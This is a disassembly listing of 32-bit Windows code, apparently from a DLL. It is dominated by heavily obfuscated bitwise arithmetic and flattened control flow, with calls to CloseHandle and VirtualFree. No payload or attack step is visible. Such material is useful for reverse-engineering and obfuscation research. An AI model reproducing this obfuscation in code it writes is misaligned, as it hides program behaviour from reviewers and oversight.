and edi, 0x2d83729f
and ecx, 0xd27c8d60
or ecx, edi
xor ecx, ebx
not esi
or esi, ecx
not ecx
and ecx, 0xc2001f
and esi, 0x430e940
or esi, ecx
mov ecx, esi
not ecx
mov edi, edx
and edi, 0xfb0d16a0
and ecx, esi
or edi, esi
or edi, ecx
mov ebx, eax
and ebx, 0x3080600
mov ecx, edi
xor ecx, 0xfb0d16a0
and ecx, edi
mov esi, edi
and esi, 0xf80510a0
or esi, ebx
mov edi, esi
xor edi, 0x50001020
xor esi, 0x7faef5f
mov ebx, ecx
not ebx
mov ebp, esi
and ebp, 0xaabd008b
and edi, 0x51001620
or edi, ebp
or esi, ebx
and ebx, 0xaabd008b
and ecx, 0x5542ff74
or ecx, ebx
xor ecx, edi
not esi
or esi, ecx
mov ecx, esi
not ecx
mov edi, ecx
and edi, 0x9bbb540e
and ecx, esi
and esi, 0x6444abf1
or esi, edi
xor esi, 0x6444abf1
or esi, ecx
mov edi, esi
not edi
mov ebx, edi
and ebx, 0xf07ed9ef
mov ecx, esi
xor ecx, 0xf07ed9ef
and ecx, esi
or ecx, ebx
mov ebx, ecx
xor ebx, 0x424a3ae8
and esi, 0x50d5f3ee
mov ebp, edi
and ebp, 0xaf2a0c11
or ebp, esi
xor ebp, 0x1d1eef16
and edi, 0x4dcb1cf8
or edi, ebp
xor ecx, 0xbdb5c517
mov esi, ecx
and esi, 0x238a8ddf
and ebx, 0xdc757220
or ebx, esi
xor ebx, edi
xor ebx, 0xdc757220
or ecx, edi
not ecx
or ecx, ebx
mov edi, ecx
not edi
and eax, 0xa807d1f7
and edx, 0x57f82e08
or edx, eax
mov eax, edx
xor eax, 0x57f82e08
xor edx, 0x80310f0
mov esi, eax
and esi, 0x4dcb1cf8
and edx, 0x4dcb1cf8
and eax, 0xb234e307
or eax, edx
or eax, esi
mov edx, eax
not edx
mov esi, edx
and esi, 0x1c5030a6
and edx, eax
and eax, 0xe3afcf59
or eax, esi
xor eax, 0xe3afcf59
or eax, edx
mov esi, eax
not esi
and eax, 0xd59f76e8
and esi, 0x2a608917
or esi, eax
mov eax, esi
xor eax, 0x2a608917
mov dword [esp + 4], eax
xor esi, 0xd59f76e8
and eax, 0xe97a778f
mov edx, esi
mov ebx, esi
and edx, 0x16858870
or edx, eax
mov esi, edx
mov eax, ecx
and eax, 0xf3c44767
mov edx, edi
and edi, 0xc3bb898
or edi, eax
xor edi, 0xabb6b02e
mov eax, edx
and eax, 0x5872f749
or eax, edi
mov dword [esp], eax
mov eax, edx
and eax, 0xc5280dd0
mov edi, ecx
and edi, 0x3ad7f22f
or edi, eax
mov eax, esi
xor eax, 0xe97a778f
mov ebp, eax
xor esi, 0x16858870
and ebp, edx
mov dword [esp + 0xc], ebp
or edx, esi
mov dword [esp + 8], edx
mov edx, esi
and esi, ecx
mov dword [esp + 0x10], esi
xor edi, 0x62a50566
and ecx, 0xa78d08b6
or ecx, edi
and edx, 0x6040892
and eax, 0xa1890024
or eax, edx
mov edi, eax
xor edi, 0x80810024
or edi, 0x58328009
xor eax, 0x2040880
and eax, 0x230c0880
and edi, 0xdcb3803f
or edi, eax
mov eax, ebx
and eax, 0xa78d08b6
mov edx, dword [esp + 4]
and edx, 0x5872f749
or edx, eax
xor ebx, edx
and ebx, edx
mov dword [esp + 4], ebx
mov edx, ecx
not edx
mov esi, ecx
and esi, 0x449de958
xor ecx, 0xa38ce706
and ecx, edx
and edx, 0xbb6216a7
or edx, esi
mov eax, dword [esp]
mov esi, eax
not esi
mov ebp, eax
xor ebp, 0xa38ce706
and ebp, eax
mov ebx, esi
and ebx, 0xa38ce706
or ebx, ebp
mov eax, edx
xor eax, 0xbb6216a7
mov ebp, eax
and ebp, 0x5c7318f9
or ecx, ebp
mov ebp, ecx
xor ebp, ecx
not ebp
and ebp, ebx
xor ebp, ecx
mov ecx, esi
and ecx, 0x2cc432ad
mov ebx, dword [esp]
and ebx, 0xd33bcd52
or ebx, ecx
xor edx, 0x449de958
or esi, edx
and edx, 0x2cc432ad
and eax, 0xd33bcd52
or eax, edx
xor eax, ebx
not esi
or esi, eax
not esi
or esi, ebp
mov eax, edi
xor eax, 0xdcb3803f
mov ebx, dword [esp + 4]
mov ecx, ebx
not ecx
mov edx, eax
xor edx, ecx
and edx, eax
xor edi, 0x21005200
and edi, 0x65a3d23e
and eax, 0x820c0880
or eax, edi
and ecx, 0x65a3d23e
and ebx, 0x9a5c2dc1
or ebx, ecx
xor ebx, eax
or ebx, edx
mov eax, ebx
not eax
mov ecx, ebx
xor ecx, 0x5ee1f64e
and eax, ecx
and ecx, ebx
mov edx, eax
not edx
mov edi, edx
and edi, 0x5e454a07
and eax, 0xa1bab5f8
or eax, edi
mov edi, ecx
not edi
or edx, edi
and edi, 0x5e454a07
and ecx, 0xa1bab5f8
or ecx, edi
xor esi, 0x5ee1f64e
xor ecx, eax
not edx
or edx, ecx
mov ecx, edx
xor ecx, edx
not ecx
and ecx, esi
xor ecx, edx
mov esi, dword [esp + 0x10]
or esi, dword [esp + 0xc]
mov eax, esi
not eax
mov edx, eax
and edx, 0xd630bac3
and esi, 0x29cf453c
or esi, edx
mov edx, dword [esp + 8]
xor esi, edx
xor esi, 0x29cf453c
or eax, edx
not eax
or eax, esi
mov edx, eax
not edx
and edx, 0x666a966a
and eax, 0x99956995
or eax, edx
mov esi, eax
xor esi, 0x99956995
mov ebx, eax
xor ebx, 0x6000162a
mov edx, ecx
xor edx, 0x16c8dc77
and edx, ecx
mov edi, ecx
not edi
and ebx, 0xf1955f3a
xor eax, 0x8f5db5e2
and eax, esi
and esi, 0xe6aa0c5
or esi, ebx
mov ecx, esi
xor ecx, 0xe6aa0c5
xor esi, 0xe75d834d
and esi, ecx
or ecx, edi
and edi, 0x16c8dc77
or edx, edi
mov edi, esi
not edi
mov ebx, eax
not ebx
mov ebp, edi
and ebp, 0xc9ede936
and esi, 0x361216c9
or esi, ebp
or edi, ebx
and ebx, 0xc9ede936
and eax, 0x361216c9
or eax, ebx
xor eax, esi
not edi
or edi, eax
xor edi, edx
not ecx
or ecx, edi
mov edx, ecx
not edx
mov eax, edx
and eax, 0x82a19585
mov esi, ecx
xor esi, 0x82a19585
and esi, ecx
or esi, eax
mov eax, esi
xor eax, 0x30146202
xor esi, 0x811480
and esi, 0x4dcb1cf8
and eax, 0xb234e307
or eax, esi
mov esi, eax
xor esi, 0x4dcb1cf8
and esi, eax
or edx, 0xb234e307
mov eax, esi
not eax
or eax, edx
and edx, 0x46033851
and ecx, 0x9c804a8
or ecx, edx
xor ecx, esi
mov edx, ecx
xor edx, 0x6023001
xor ecx, 0xb9fcc7ae
mov esi, ecx
and esi, 0xd84d8c7e
and edx, 0x27b27381
or edx, esi
or ecx, eax
and eax, 0xddcf9cfe
xor eax, edx
xor eax, 0x5821080
not ecx
or ecx, eax
mov esi, ecx
not esi
mov eax, esi
and eax, 0xa7317e34
mov edx, ecx
xor edx, 0xa7317e34
and edx, ecx
or edx, eax
mov eax, edx
xor eax, 0x58060081
mov edi, edx
xor edi, 0x2311414
and eax, 0xfd066aa1
and edi, 0x2f9955e
or edi, eax
mov eax, edi
xor eax, 0xb1800c
xor edi, 0xfd066aa1
and esi, 0xc8e09e3d
and ecx, 0x371f61c2
or ecx, esi
mov ebx, ecx
xor ebx, 0x371f61c2
xor ecx, 0x48a01224
and ecx, 0x59ba1366
mov esi, ebx
and esi, 0xa645ec99
or esi, ecx
xor esi, 0xa645ec99
or esi, ebx
mov ebx, esi
not ebx
mov ecx, edi
and ecx, 0xa74e1753
and eax, 0x58b1e8ac
or eax, ecx
mov ecx, eax
xor ecx, 0x58b1e8ac
mov dword [esp + 4], ecx
mov ebp, esi
and ebp, 0xafe5d7e1
xor esi, 0x616334da
and esi, ebx
and ebx, 0x501a281e
or ebx, ebp
mov dword [esp], ebx
mov ebx, eax
xor ebx, 0x39d2dc76
and ebx, ecx
mov ebp, ebx
not ebp
mov ecx, ebp
and ecx, 0xfd5fe7cc
and ebx, 0x2a01833
or ebx, ecx
or edi, 0x9e9ccb25
xor edx, 2
or ebp, edi
and edi, 0xfd5fe7cc
and edx, 0x201012
or edx, edi
xor edx, ebx
mov ebx, dword [esp]
mov edi, ebx
xor edi, 0x501a281e
not ebp
or ebp, edx
xor ebx, 0x31791cc4
and ebx, edi
mov edx, ebx
not edx
mov ecx, edx
and ecx, 0x328b92ea
and ebx, 0xcd746d15
or ebx, ecx
mov ecx, esi
not ecx
or edx, ecx
and ecx, 0x328b92ea
and esi, 0xcd746d15
or esi, ecx
xor esi, ebx
not edx
or edx, esi
mov esi, edx
xor esi, edx
not esi
and esi, ebp
xor esi, edx
xor eax, 0xa74e1753
mov ebx, dword [esp]
xor ebx, 0xafe5d7e1
mov ecx, eax
and ecx, 0x8b21cfa3
mov edx, dword [esp + 4]
and edx, 0x74de305c
or edx, ecx
mov ecx, ebx
or eax, ebx
and ecx, 0x8b21cfa3
and edi, 0x74de305c
or edi, ecx
xor edi, edx
not eax
or eax, edi
not eax
or eax, esi
mov ecx, eax
mov esi, eax
mov edx, eax
xor edx, 0x6ac73190
and edx, eax
mov edi, eax
not edi
and ecx, 0xc69bdb8f
mov eax, edi
and eax, 0x39642470
or eax, ecx
xor eax, 0x39642470
or eax, edi
mov ecx, eax
not ecx
and edi, 0x4a062010
and esi, 0x20c11180
or esi, edi
mov edi, esi
xor edi, 0x811080
xor esi, 0xdf3eee7f
mov ebx, edx
not ebx
mov ebp, esi
and ebp, 0x7676450d
and edi, 0x8813090
or edi, ebp
or esi, ebx
and ebx, 0x7676450d
and edx, 0x8989baf2
or edx, ebx
xor edx, edi
not esi
or esi, edx
mov edx, esi
xor edx, 0x6ac73190
xor esi, 0x8518866b
and esi, 0x8d1f97fb
mov edi, edx
and edi, 0x72e06804
or edi, esi
mov esi, edi
xor esi, 0x72e06804
mov ebp, eax
and ebp, 0x70cf9875
mov ebx, eax
xor ebx, 0x8f30678a
and ebx, ecx
or ebx, ebp
xor edi, 0x8d1f97fb
mov ebp, esi
and ebp, 0x70cf9875
and edx, 0x8f30678a
or edx, ebp
xor edx, ebx
mov ebx, ecx
and ebx, 0xb59c79a1
and eax, 0x4a63865e
or eax, ebx
or ecx, edi
and edi, 0xb59c79a1
and esi, 0x4a63865e
or esi, edi
xor esi, eax
not ecx
or ecx, esi
not ecx
or ecx, edx
mov eax, ecx
not eax
mov edx, eax
and edx, ecx
mov esi, edx
not esi
mov edi, ecx
and edi, 0xce2fb93c
mov ebx, eax
and ebx, 0x31d046c3
or ebx, edi
or ecx, esi
and esi, 0xce2fb93c
and edx, 0x31d046c3
or edx, esi
xor edx, ebx
not ecx
or ecx, edx
mov esi, ecx
xor esi, 0x84915797
and esi, ecx
mov ebx, esi
not ebx
mov ecx, ebx
and ecx, 0xf6b98f04
mov edx, esi
and edx, 0x94670fb
or edx, ecx
mov edi, edx
xor edi, 0x94670fb
mov dword [esp], edi
mov ecx, edx
xor ecx, 0x46662e7d
and ecx, edi
mov edi, ecx
not edi
mov ebp, edi
and ebp, 0x1d7eed29
and ecx, 0xe28112d6
or ecx, ebp
or eax, 0x7b6ea868
or ebx, 0xb0dfa179
or edi, ebx
and ebx, 0x1d7eed29
and esi, 0x42001286
or esi, ebx
mov ebp, eax
xor ebp, 0x4f205e86
xor esi, ecx
mov ecx, ebp
and ecx, eax
mov dword [esp + 4], eax
not edi
or edi, esi
mov esi, ecx
not esi
mov ebx, esi
and ebx, 0xa105096
and ecx, 0x94cd2729
or ecx, ebx
mov ebx, eax
not ebx
and ebp, ebx
mov eax, ebp
not eax
or esi, eax
and eax, 0x2a12d0d6
and ebp, 0x84810701
or ebp, eax
xor ebp, ecx
not esi
or esi, ebp
xor esi, edi
xor edx, 0xf6b98f04
mov eax, edx
and eax, 0xd00f9ec3
mov ecx, dword [esp]
and ecx, 0x2ff0613c
or ecx, eax
or edx, ebx
and ebx, 0x80011683
mov eax, dword [esp + 4]
and eax, 0x2ff0613c
or eax, ebx
xor eax, ecx
not edx
or edx, eax
mov eax, esi
not eax
mov ecx, eax
and ecx, 0x20642b46
and esi, 0xdf9bd4b9
or esi, ecx
xor esi, edx
xor esi, 0xdf9bd4b9
or eax, edx
not eax
or eax, esi
mov ecx, eax
not ecx
mov edx, ecx
or edx, 0xe100800
mov esi, eax
or esi, 0x1045259
and esi, 0xf145a59
and ecx, 0xf0232002
or ecx, esi
and edx, 0xf145a59
and eax, 0xc885a4
or eax, edx
xor eax, ecx
mov edx, eax
xor edx, 0x7aa27f95
xor eax, 0x855d806a
mov esi, eax
and esi, 0xba1b0819
mov ecx, edx
and ecx, 0x45e4f7e6
or ecx, esi
mov esi, ecx
xor esi, 0xaa120818
and eax, 0xad8b510d
and edx, 0x5274aef2
or edx, eax
mov eax, edx
xor eax, 0x42502892
xor ecx, 0x45e4f7e6
mov edi, ecx
and edi, 0x142d8761
and esi, 0xebd2789e
or esi, edi
xor edx, 0x4090101
and edx, 0x142d8761
and eax, 0xebd2789e
or eax, edx
xor eax, esi
not eax
or eax, ecx
xor eax, 0xffffffff
setne ah
sete dh
mov byte [esp + 4], dh
cmp dword [0x10047904], 0xa
setl al
setge cl
mov dl, cl
mov ch, cl
mov byte [esp + 0xc], cl
xor dl, al
and dl, al
xor dl, 1
and dl, al
mov bh, al
mov bl, al
inc bh
xor dh, ah
mov al, dh
xor al, 1
and dh, al
xor dh, 1
mov cl, dh
xor cl, al
or dh, al
xor dh, 1
or dh, cl
mov byte [esp], dh
mov byte [esp + 8], ah
mov al, ah
inc al
mov dh, al
and dh, ah
xor dh, 1
or dh, ah
xor dh, 1
or dh, al
mov eax, edx
xor al, 1
mov cl, al
or cl, bh
xor cl, 1
or cl, ch
mov ah, cl
xor ah, al
xor ah, 1
or cl, dl
xor cl, 1
or cl, ah
and dl, bh
mov byte [esp + 0x10], bl
mov ah, bl
and ah, al
or ah, dl
xor bh, ah
and bh, ah
or al, bl
xor bh, 1
mov dl, al
xor dl, bh
or bh, al
mov eax, ecx
xor al, 1
xor bh, 1
or bh, dl
mov dl, bh
xor dl, 1
and dl, cl
and al, bh
or al, dl
mov dl, byte [esp]
mov bl, dl
xor bl, 1
xor al, 1
or al, cl
xor bh, cl
mov ecx, eax
or cl, bh
xor cl, 1
xor bh, al
or bh, cl
mov byte [esp + 0x14], bh
mov eax, edx
mov ecx, edx
and cl, bl
xor cl, 1
or cl, bl
xor cl, 1
or cl, dl
mov eax, ecx
xor al, 1
and cl, al
xor cl, 1
mov dl, cl
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov al, dh
xor al, 1
mov bh, al
and bh, dh
xor bh, 1
mov dl, dh
xor dl, bh
or bh, dh
xor bh, 1
or bh, dl
mov dl, bh
xor dl, 1
mov byte [esp + 0x1c], dl
xor al, bh
or dh, dl
xor dh, 1
or dh, al
mov al, dh
xor al, 1
mov ah, al
and ah, dh
mov dl, ah
xor ah, al
xor dl, 1
or dl, dh
xor dl, 1
or dl, ah
mov ch, cl
xor ch, 1
mov dh, cl
and dh, ch
xor dh, 1
or dh, ch
xor dh, 1
or dh, cl
mov ah, dl
and ah, dh
xor dh, 1
mov al, dl
xor al, 1
and dh, al
or dh, ah
xor dh, 1
or dh, al
and al, dl
xor al, 1
mov ah, dl
xor ah, al
or al, dl
xor al, 1
or al, ah
and ch, al
xor al, 1
and al, cl
or al, ch
xor cl, al
and cl, al
mov al, dh
xor al, 1
mov dl, cl
xor dl, 1
and cl, dh
and al, dl
or al, cl
or dl, dh
xor al, 1
mov ecx, eax
xor cl, dl
or al, dl
xor al, 1
or al, cl
mov ch, byte [esp + 0x1c]
mov cl, ch
and cl, bl
mov ah, byte [esp]
mov dl, ah
and dl, bh
or dl, cl
xor bl, dl
and bl, dl
mov cl, ah
mov dl, ch
or dl, ah
xor bh, ah
and bh, ah
xor bh, 1
mov ecx, edx
xor cl, bh
or bh, dl
xor bh, 1
or bh, cl
xor bl, 1
mov cl, bh
xor cl, 1
or cl, bl
xor bl, bh
mov edx, ebx
xor dl, cl
or bl, cl
xor bl, 1
or bl, dl
mov ecx, ebx
xor cl, 1
and bl, cl
xor bl, 1
mov edx, ecx
xor dl, bl
or bl, cl
xor bl, 1
or bl, dl
mov edx, ebx
xor dl, 1
mov ah, al
xor ah, 1
mov cl, ah
and cl, al
xor cl, 1
or cl, al
xor cl, 1
or cl, ah
mov ch, cl
xor ch, 1
and ch, bl
and cl, dl
or cl, ch
mov ch, dl
and ch, bl
xor ch, 1
or ch, bl
xor ch, 1
or ch, dl
xor ch, ah
xor ch, 1
or dl, al
xor dl, 1
or dl, ch
mov ah, dl
xor ah, 1
and ah, dl
xor ah, 1
mov al, dl
xor al, ah
or ah, dl
xor ah, 1
or ah, al
mov edx, ecx
xor dl, ah
xor dl, 1
mov al, dl
and al, cl
xor al, 1
or ah, cl
or al, dl
xor al, 1
or al, ah
mov ah, byte [esp + 0x14]
mov dl, ah
xor dl, 1
mov cl, ah
and cl, dl
xor cl, 1
or cl, dl
xor cl, 1
or cl, ah
mov ah, cl
xor ah, 1
mov dl, ah
and dl, cl
xor dl, 1
or dl, cl
xor dl, 1
or dl, ah
mov ecx, edx
xor cl, 1
mov ah, al
xor ah, 1
and al, ah
xor al, 1
mov ch, ah
xor ch, al
or al, ah
xor al, 1
or al, ch
mov ah, al
xor ah, 1
and cl, dl
xor cl, 1
mov ch, dl
xor ch, cl
or cl, dl
xor cl, 1
or cl, ch
mov ch, cl
xor ch, 1
mov edx, ecx
and dl, ch
xor dl, 1
or dl, ch
xor dl, 1
or dl, cl
mov ch, dl
xor ch, 1
mov cl, al
and cl, ah
xor cl, 1
or cl, ah
xor cl, 1
or cl, al
mov dh, ch
and dh, dl
xor dh, 1
or dh, ch
xor dh, 1
or dh, dl
xor dh, cl
mov al, dh
xor al, 1
mov byte [esp], al
mov ah, byte [esp + 0x10]
mov al, ah
movzx ebx, byte [esp + 4]
xor al, bl
mov ecx, eax
and cl, bl
and al, ah
mov dl, cl
mov bh, byte [esp + 0xc]
mov ch, byte [esp + 8]
and ch, bh
and ah, bl
or ah, ch
xor ah, 1
or ah, bh
mov ch, ah
or bh, bl
xor bh, 1
or bh, cl
xor cl, 1
xor dl, al
xor al, 1
or al, cl
xor al, 1
or al, dl
mov dl, ah
xor dl, 1
mov bl, bh
xor bl, 1
mov cl, dl
and cl, ah
xor cl, 1
mov ah, cl
xor ah, ch
or cl, ch
xor cl, 1
or cl, ah
mov ah, cl
xor ah, 1
and ah, bh
and cl, bl
mov bl, dl
xor bl, bh
or bh, dl
xor bh, 1
or bh, bl
xor bh, 1
or bh, cl
or bh, ah
mov dl, bh
xor dl, 1
and dl, bh
xor dl, 1
mov ecx, edx
xor cl, bh
or dl, bh
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, 1
mov ebx, eax
xor bl, 1
mov ah, dl
and ah, cl
xor ah, 1
or ah, cl
and cl, bl
mov bh, al
and bh, dl
or bh, cl
xor bh, 1
or bh, bl
mov cl, bh
xor cl, 1
xor ah, 1
or ah, dl
and bl, ah
xor ah, 1
and ah, al
or ah, bl
mov al, bh
and al, ah
xor ah, 1
and cl, ah
or cl, al
or ah, bh
xor cl, 1
mov al, cl
xor al, ah
or cl, ah
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
mov dl, al
and dl, cl
xor al, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, al
mov ah, dl
xor ah, 1
and ah, dl
or ah, cl
mov al, ah
xor al, 1
and al, ah
xor al, 1
mov cl, ah
xor cl, al
or al, ah
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
and al, cl
xor al, 1
mov dl, al
xor dl, cl
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, 1
and al, cl
xor al, 1
mov dl, al
or dl, cl
xor dl, 1
xor al, cl
or al, dl
mov ecx, eax
xor cl, 1
and al, 0xfe
or al, cl
mov ah, al
xor ah, 1
mov byte [esp + 4], ah
mov ch, byte [esp]
and ch, dh
xor ch, 1
mov cl, dh
xor cl, ch
or ch, dh
xor ch, 1
or ch, cl
mov dh, ch
xor dh, 1
mov dl, al
and dl, ah
xor dl, 1
mov cl, ah
xor cl, dl
or dl, ah
xor dl, 1
or cl, dl
mov ebx, ecx
or bl, ah
xor bl, 1
mov bh, cl
xor bh, bl
or bl, cl
xor bl, 1
or bl, bh
xor bl, 1
or bl, bh
mov cl, bl
xor cl, 1
mov bh, ch
and bh, cl
and bl, dh
or bl, bh
mov ah, bl
xor ah, cl
and ah, bl
mov bl, ch
xor bl, cl
or cl, ch
xor cl, 1
or cl, bl
mov ebx, ecx
xor bl, 1
mov bh, ah
xor bh, 1
and bl, bh
or bh, cl
and cl, ah
or cl, bl
xor cl, 1
mov ah, cl
xor ah, bh
or cl, bh
xor cl, 1
or cl, ah
or dl, al
xor dl, 1
mov ah, dh
xor ah, dl
or dl, dh
and dl, ah
mov ah, byte [esp + 4]
and ah, ch
and dh, al
or dh, ah
or ch, al
xor ch, 1
or ch, dh
mov ah, ch
xor ah, 1
mov al, ah
and al, ch
xor ah, al
xor al, 1
or al, ch
xor al, 1
or al, ah
mov ah, dl
xor ah, 1
and ah, al
mov ch, al
xor ch, 1
mov al, dl
xor al, ch
and al, dl
and ch, dl
or ch, ah
or ch, al
mov dl, ch
xor dl, 1
mov eax, edx
and al, ch
xor al, 1
or al, ch
xor al, 1
or al, dl
mov ah, al
xor ah, 1
mov ch, cl
xor ch, 1
mov edx, eax
and dl, ah
xor dl, 1
or dl, ah
xor dl, 1
or dl, al
mov dh, al
and dh, ch
or ch, dl
xor dl, 1
or dl, cl
mov ebx, edx
xor bl, ch
or dl, ch
xor dl, 1
or dl, bl
and ah, cl
or ah, dh
or al, cl
xor al, 1
or al, ah
xor al, 1
mov ecx, edx
xor cl, al
or al, dl
xor al, 1
or al, cl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x7927360c
mov esi, 0xa2b5ab21
cmovne edx, esi
test al, 1
mov edi, 0x7927360c
cmovne edi, edx
test cl, 1
cmove edi, edx
jmp 0x10008b80
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x8000
push 0
push dword [esp + 0x34]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [0x10047900]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
not eax
mov ecx, eax
mov ebp, eax
and ecx, 0x87d308a7
mov eax, edx
xor eax, 0x87d308a7
and eax, edx
mov ebx, edx
or eax, ecx
mov ecx, eax
xor ecx, 0x2004c500
xor eax, 0x83400804
and eax, 0xdb683a5c
and ecx, 0x2497c5a3
or ecx, eax
mov eax, ecx
xor eax, 0x16c503
xor ecx, 0x1400a54
and ecx, 0x25c10af4
and eax, 0xda3ef50b
or eax, ecx
mov ecx, eax
xor ecx, 0x208108e0
xor eax, 0x4a18900a
and ecx, 0xb0a76de1
and eax, 0x4f58921e
or eax, ecx
mov esi, eax
xor esi, 0x90266cc1
xor eax, 0x600100a
and eax, 0x2681112a
and esi, 0xd97eeed5
or esi, eax
mov eax, esi
xor eax, 0xd97eeed5
mov edx, esi
xor edx, 0x2001108
and edx, 0x8b327fc9
mov ecx, eax
and ecx, 0x74cd8036
or ecx, edx
mov edx, ecx
xor edx, 0x74cd8036
xor ecx, 0x3311b5e3
and ecx, edx
xor esi, 0x615d24ff
and esi, eax
mov edi, ecx
not edi
mov edx, edi
and edx, 0x8f41f1e
and ecx, 0xf70be0e1
or ecx, edx
mov edx, esi
not edx
or edi, edx
and edx, 0x8f41f1e
and esi, 0xf70be0e1
or esi, edx
xor esi, ecx
not edi
or edi, esi
xor edi, 0xb823ca2b
and eax, 1
or eax, edi
mov ecx, eax
not ecx
mov edx, ecx
or edx, 0x6108c900
mov esi, eax
or esi, 0xb11031
and esi, 0x61b9d931
and ecx, 0xc44028a
or ecx, esi
and edx, 0x61b9d931
and eax, 0x92022444
or eax, edx
xor eax, ecx
mov esi, eax
xor esi, 0x10a23045
xor eax, 0x6d4ccb8a
mov ecx, eax
and ecx, 0xe6510cb2
and esi, 0x19aef34d
or esi, ecx
xor esi, 0x19aef34d
or esi, eax
mov edi, ebp
or edi, 0x67e7bf46
mov dword [esp + 0x18], ebx
mov eax, ebx
or eax, 1
and eax, 0x67e7bf47
mov ecx, ebp
mov edx, ebp
mov dword [esp], ebp
and ecx, 0x981840b8
or ecx, eax
and edi, 0x67e7bf47
xor edi, ecx
mov eax, edi
not eax
mov ecx, eax
and ecx, 0xc47cc30d
and edi, 0x3b833cf2
or edi, ecx
mov ecx, ebx
and ecx, 0xc47cc30d
and edx, 0x3b833cf2
or edx, ecx
mov ecx, esi
not ecx
xor edx, edi
xor eax, edx
and eax, edx
mov ebx, eax
not ebx
mov edx, esi
and edx, 0x4a790dcd
mov ebp, ecx
xor ebp, eax
mov edi, ebx
or ebx, ecx
and ebp, ecx
and ecx, 0xb586f232
or ecx, edx
and eax, 0x4a790dcd
and edi, 0xb586f232
or edi, eax
xor edi, ecx
not edi
or edi, esi
mov ecx, ebp
not ecx
mov eax, ecx
and eax, 0xd46810c9
and ebp, 0x2b97ef36
or ebp, eax
xor ebp, ebx
xor ebp, 0x2b97ef36
or ecx, ebx
not ecx
or ecx, ebp
mov eax, ecx
xor eax, 0x671f7b27
and eax, ecx
mov ebp, ecx
not ebp
mov esi, edi
xor esi, 0x98e084d8
mov ebx, esi
and ebx, edi
mov ecx, ebp
or ebp, edi
not edi
and esi, edi
and ecx, 0x671f7b27
or eax, ecx
mov ecx, ebx
not ecx
mov edx, ecx
and edx, 0xb90b732f
and ebx, 0x46f48cd0
or ebx, edx
mov edx, esi
not edx
or ecx, edx
and edx, 0xb90b732f
and esi, 0x46f48cd0
or esi, edx
xor esi, ebx
not ecx
or ecx, esi
xor ecx, eax
not ebp
or ebp, ecx
mov edi, dword [esp]
mov eax, edi
and eax, 0xfd079f2e
mov edx, dword [esp + 0x18]
mov ecx, edx
and ecx, 0x2f860d1
or ecx, eax
mov eax, ecx
xor eax, 0x2902041
xor ecx, 0x4501162c
and ecx, 0x456956bc
and eax, 0xba96a943
or eax, ecx
mov esi, eax
xor esi, 0x40001204
xor eax, 0x2843
and eax, 0x406843
and esi, 0xe2909204
or esi, eax
xor esi, 0xe2909204
or esi, 0x1d2f05b8
mov eax, esi
not eax
mov ecx, edi
or ecx, 0xc0c0ca40
and edx, 0x110705b8
and ecx, 0xcce8ca40
or ecx, edx
xor ecx, 0xcce8ca40
and esi, eax
or ecx, eax
mov edi, esi
not edi
mov eax, ecx
mov edx, ecx
not eax
mov ecx, edi
and ecx, 0xf9db67a8
and esi, 0x2009847
or esi, ecx
or edi, eax
and eax, 0xf9db67a8
and edx, 0x6249857
or edx, eax
xor edx, esi
not edi
or edi, edx
mov eax, edi
not eax
mov ecx, edi
or ecx, 0xc2504004
mov edx, eax
or edx, 0x1c270098
and ecx, 0xde77409c
and eax, 0x1080520
or eax, ecx
and edx, 0xde77409c
and edi, 0x2080ba43
or edi, edx
xor edi, eax
mov dword [esp + 4], ebp
mov ebx, ebp
not ebx
mov dword [esp + 0x18], ebx
mov eax, ebp
xor eax, 0x37dca094
and eax, ebp
or ebx, eax
not eax
and eax, 0xc8235f6b
and ebx, 0x37dca094
or ebx, eax
mov edx, edi
not edx
mov eax, edi
or eax, 0x2e9e6afc
mov ecx, eax
and ecx, 0x9769949d
mov esi, edx
and esi, 0x40000102
or esi, ecx
mov ecx, edi
xor ecx, 0xd1619503
and ecx, edi
mov ebp, ecx
not ebp
or eax, ebp
and ebp, 0x9769949d
and ecx, 0x68966b62
or ecx, ebp
xor ecx, esi
not eax
or eax, ecx
mov ecx, eax
xor ecx, 0x88a42e8
xor eax, 0xd1619503
mov esi, eax
and esi, 0x66542c16
and ecx, 0x99abd3e9
or ecx, esi
xor eax, ecx
and eax, ecx
mov dword [esp], eax
mov ecx, dword [esp + 0x18]
or ecx, 0x99abd3e9
and edx, 0x22100416
and edi, 0x44442800
or edi, edx
mov esi, ecx
not esi
mov edx, ecx
xor edx, 0xdda58543
and ecx, edx
and edx, esi
mov eax, ecx
not eax
mov esi, eax
and esi, 0x2dd08401
and ecx, 0x420c2a3e
or ecx, esi
mov esi, edx
not esi
or eax, esi
and esi, 0x2dd2d481
and edx, 0x42042816
or edx, esi
xor edx, ecx
not ebx
or ebx, 0x66542c16
not eax
or eax, edx
mov ebp, edi
xor ebp, 0x44442800
or ebp, 0x99abd3e9
xor eax, ebx
mov dword [esp + 8], eax
mov eax, ebp
not eax
mov dword [esp + 0xc], eax
mov ecx, ebp
and ecx, 0xf290ec68
xor edi, 0x40002816
and edi, eax
or edi, ecx
mov eax, dword [esp]
mov ebx, eax
not ebx
mov esi, eax
or esi, 0xd6f1397
mov edx, esi
and edx, 0xd88700e8
mov ecx, ebx
and ecx, 0x2210ec00
or ecx, edx
mov edx, eax
xor edx, 0xf290ec68
and edx, eax
mov eax, edx
not eax
or esi, eax
and eax, 0xd88700e8
and edx, 0x2778ff17
or edx, eax
xor edx, ecx
not esi
or esi, edx
mov edx, edi
xor edx, edi
not edx
and edx, esi
xor edx, edi
mov ecx, dword [esp]
mov eax, ecx
and eax, 0xd0f73385
and ebx, 0x2f08cc7a
or ebx, eax
mov eax, dword [esp + 0xc]
or ecx, eax
and eax, 0x40542004
and ebp, 0x2f08cc7a
or ebp, eax
xor ebp, ebx
mov eax, ecx
not eax
or eax, ebp
mov ecx, eax
mov edi, edx
not edi
mov eax, edi
and eax, 0xc9ba2336
and edx, 0x3645dcc9
or edx, eax
mov esi, dword [esp + 8]
mov ebx, esi
xor ebx, 0xdda58543
xor edx, ecx
xor edx, 0x3645dcc9
or edi, ecx
not edi
or edi, edx
mov edx, edi
